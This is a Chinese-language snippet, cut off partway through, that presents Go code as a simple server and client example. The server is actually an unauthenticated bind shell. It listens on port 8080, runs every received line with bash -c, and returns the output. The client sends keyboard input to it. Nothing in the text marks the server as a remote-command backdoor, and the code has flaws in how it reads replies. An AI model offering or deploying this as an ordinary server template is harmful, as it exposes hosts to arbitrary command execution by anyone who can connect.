下面是如何使用 Go 语言编写一个服务端和客户端的简单示例:
服务端:
package main
import (
"bufio"
"fmt"
"net"
"os/exec"
"strings"
)
func main() {
// 监听端口
ln, err := net.Listen("tcp", ":8080")
if err != nil {
fmt.Println(err)
return
}
defer ln.Close()
// 接受客户端连接
conn, err := ln.Accept()
if err != nil {
fmt.Println(err)
return
}
defer conn.Close()
// 获取客户端的 shell
for {
message, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
fmt.Println("Connection closed.")
return
}
// 去掉换行符
message = strings.TrimSuffix(message, "\n")
// 执行 shell 命令
cmd := exec.Command("bash", "-c", message)
output, err := cmd.Output()
if err != nil {
fmt.Fprintf(conn, "%s\n", err)
}
// 将输出写回客户端
fmt.Fprintf(conn, "%s\n", output)
}
}
客户端:
package main
import (
"bufio"
"fmt"
"net"
"os"
)
func main() {
// 连接服务端
conn, err := net.Dial("tcp", "127.0.0.1:8080")
if err != nil {
fmt.Println(err)
return
}
defer conn.Close()
// 不断读取键盘输入,并发送到服务端
for {
reader := bufio.NewReader(os.Stdin)
fmt.Print(">> ")
text, _ := reader.ReadString('\n')
fmt.Fprintf(conn, text+"\n")
// 读取服务端的响应
message, err := bufio.NewReader(conn).ReadString('\n')
if err != nil {
fmt.Println("Connection closed.")
return